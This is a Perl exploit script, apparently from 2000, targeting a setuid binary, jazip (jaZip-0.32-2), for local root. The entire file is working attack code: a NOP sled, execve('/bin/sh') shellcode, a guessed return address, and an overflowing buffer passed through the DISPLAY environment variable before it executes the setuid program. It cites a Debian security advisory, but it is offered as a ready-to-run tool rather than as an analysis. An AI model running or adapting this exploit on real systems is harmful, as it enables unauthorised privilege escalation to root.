#!/usr/bin/perl

## -- Copyright (c) <teleh0r@doglover.com> - anno 2000 --
##
## jazip root exploit - tested version: jaZip-0.32-2 (RPM)
## Debian issued a security advisory after I released this
## exploit: http://www.debian.org/security/2001/dsa-017/
##
## ** the buffer overflow happens in the Xforms library **
## 
## Usage: ./jazip-exploit.pl -o "offset" -a "alignment"
## http://teleh0r.cjb.net/ || http://www.digit-labs.org/

use Getopt::Std; getopts('o:a:', \%arg);

$shellcode =                     # Shellcode by: Taeho Oh
    "\xeb\x1f".                  #/* jmp 0x1f              */
    "\x5e".                      #/* popl %esi             */
    "\x89\x76\x08".              #/* movl %esi,0x8(%esi)   */
    "\x31\xc0".                  #/* xorl %eax,%eax        */
    "\x88\x46\x07".              #/* movb %eax,0x7(%esi)   */
    "\x89\x46\x0c".              #/* movl %eax,0xc(%esi)   */
    "\xb0\x0b".                  #/* movb $0xb,%al         */
    "\x89\xf3".                  #/* movl %esi,%ebx        */
    "\x8d\x4e\x08".              #/* leal 0x8(%esi),%ecx   */
    "\x8d\x56\x0c".              #/* leal 0xc(%esi),%edx   */
    "\xcd\x80".                  #/* int $0x80             */
    "\x31\xdb".                  #/* xorl %ebx,%ebx        */
    "\x89\xd8".                  #/* movl %ebx,%eax        */
    "\x40".                      #/* inc %eax              */
    "\xcd\x80".                  #/* int $0x80             */
    "\xe8\xdc\xff\xff\xff".      #/* call -0x24            */
    "/bin/sh";                   #/* .string \"/bin/sh\"   */

$ret = 0xbfffff4a;  # May have to be modified.
$len = 2100;        # Length to overwrite %eip.
$nop = "\x90";      # x86 NOP.

$offset = -1000; $align = 3; # Try value '5' for Debian.

stat("/usr/X11R6/bin/jazip") || die("jazip, $!\n");
die("jazip is not installed setuid.\n") if ! -u _;

if (defined($arg{'o'})) { $offset = $arg{'o'}; }
if (defined($arg{'a'})) { $align  = $arg{'a'}; }

for ($i = 0; $i < ($len - length($shellcode) - 100); $i++) {
    $buffer .= $nop;
}

$buffer .= $shellcode;

printf("Address: %#lx\n", ($ret + $offset));
$new_ret = pack('l',($ret + $offset));

$buffer .= $nop x $align;

for ($i += length($shellcode); $i < $len; $i += 4) {
    $buffer .= $new_ret;
}

undef(%ENV); local($ENV{'DISPLAY'}) = $buffer

exec("/usr/X11R6/bin/jazip");